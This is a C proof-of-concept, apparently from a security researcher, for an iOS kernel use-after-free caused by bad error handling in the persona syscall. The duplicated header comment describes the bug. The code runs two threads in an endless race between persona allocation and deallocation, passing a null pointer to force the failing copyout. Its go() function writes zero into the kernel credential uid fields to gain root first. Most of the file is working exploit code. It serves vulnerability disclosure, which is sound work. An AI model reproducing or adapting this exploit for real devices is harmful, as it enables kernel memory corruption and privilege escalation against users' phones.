/*
There was recently some cleanup in the persona code to fix some race conditions there, I don't think it was sufficient:
In kpersona_alloc_syscall if we provide an invalid userspace pointer for the ipd outptr we can cause this copyout to fail:
error = copyout(&persona->pna_id, idp, sizeof(persona->pna_id));
if (error)
goto out_error;
This jumps here:
if (persona)
persona_put(persona);
At this point the persona is actually in the global list and the reference has been transfered there; this code
is mistakenly assuming that userspace can't still race a dealloc call because it doesn't know the id.
The id is attacker controlled so it's easy to still race this (ie we call persona_alloc in one thread, and dealloc in another),
causing an extra call to persona_put.
It's probably possible to make the failing copyout take a long time,
allowing us to gc and zone-swap the page leading to the code attempting to drop a ref on a different type.
This PoC has been tested on iOS 11.3.1 because it requires root. I have taken a look at an iOS 12 beta and it looks like the vuln
is still there, but I cannot test it.
It should be easy to fix up this PoC to run as root in your testing environment.
*/
// @i41nbeer
#include "test_next_exploit.h"
#include <unistd.h>
#include <pthread.h>
#include <string.h>
#include "kmem.h"
/*
iOS kernel UaF due to bad error handling in personas
There was recently some cleanup in the persona code to fix some race conditions there, I don't think it was sufficient:
In kpersona_alloc_syscall if we provide an invalid userspace pointer for the ipd outptr we can cause this copyout to fail:
error = copyout(&persona->pna_id, idp, sizeof(persona->pna_id));
if (error)
goto out_error;
This jumps here:
if (persona)
persona_put(persona);
At this point the persona is actually in the global list and the reference has been transfered there; this code
is mistakenly assuming that userspace can't still race a dealloc call because it doesn't know the id.
The id is attacker controlled so it's easy to still race this (ie we call persona_alloc in one thread, and dealloc in another),
causing an extra call to persona_put.
It's probably possible to make the failing copyout take a long time,
allowing us to gc and zone-swap the page leading to the code attempting to drop a ref on a different type.
This PoC has been tested on iOS 11.3.1 because it requires root. I have taken a look at an iOS 12 beta and it looks like the vuln
is still there, but I cannot test it.
It should be easy to fix up this PoC to run as root in your testing environment.
*/
#define NGROUPS 16
#define MAXLOGNAME 255
struct kpersona_info {
uint32_t persona_info_version;
uid_t persona_id; /* overlaps with UID */
int persona_type;
gid_t persona_gid;
uint32_t persona_ngroups;
gid_t persona_groups[NGROUPS];
uid_t persona_gmuid;
char persona_name[MAXLOGNAME+1];
/* TODO: MAC policies?! */
};
enum {
PERSONA_INVALID = 0,
PERSONA_GUEST = 1,
PERSONA_MANAGED = 2,
PERSONA_PRIV = 3,
PERSONA_SYSTEM = 4,
PERSONA_TYPE_MAX = PERSONA_SYSTEM,
};
#define PERSONA_OP_ALLOC 1
#define PERSONA_OP_DEALLOC 2
#define PERSONA_OP_GET 3
#define PERSONA_OP_INFO 4
#define PERSONA_OP_PIDINFO 5
#define PERSONA_OP_FIND 6
#define PERSONA_INFO_V1 1
#define PERSONA_SYSCALL_NUMBER 494
int sys_persona(uint32_t operation, uint32_t flags, struct kpersona_info *info, uid_t *id, size_t *idlen) {
return syscall(PERSONA_SYSCALL_NUMBER, operation, flags, info, id, idlen);
}
void persona_dealloc() {
uid_t uid = 235;
size_t uid_size = sizeof(uid);
int perr = sys_persona(PERSONA_OP_DEALLOC, 0, NULL, &uid, &uid_size);
printf("dealloc perr: 0x%x\n", perr);
}
void* persona_bad_alloc() {
// let's try to alloc a persona:
struct kpersona_info info = {0};
uid_t kpersona_uid = -123;
size_t kpersona_uid_size = sizeof(kpersona_uid);
info.persona_info_version = PERSONA_INFO_V1;
strcpy(info.persona_name, "a_name2");
info.persona_id = 235;
info.persona_type = PERSONA_GUEST;
int perr = sys_persona(PERSONA_OP_ALLOC, 0, &info, NULL/*&kpersona_uid*/, &kpersona_uid_size);
printf("err: %x\n", perr);
printf("kpersona_uid: %d\n", kpersona_uid);
return NULL;
}
void* dealloc_thread_func(void* arg) {
int uid = getuid();
printf("dealloc thread uid: %d\n", uid);
// got r00t?
while(1) {
persona_dealloc();
}
}
void* alloc_thread_func(void* arg) {
int uid = getuid();
printf("alloc_thread uid: %d\n", uid);
// got r00t?
while(1) {
persona_bad_alloc();
}
}
void go(uint64_t thread_t) {
uint64_t bsd_thread_info = rk64(thread_t + 0x388);
uint64_t cred_t = rk64(bsd_thread_info + 0x160);
// uid:=0
wk32(cred_t+0x18, 0);
wk32(cred_t+0x1c, 0);
pthread_t dealloc_thread;
pthread_create(&dealloc_thread, NULL, dealloc_thread_func, NULL);
pthread_t alloc_thread;
pthread_create(&alloc_thread, NULL, alloc_thread_func, NULL);
pthread_join(dealloc_thread, NULL);
}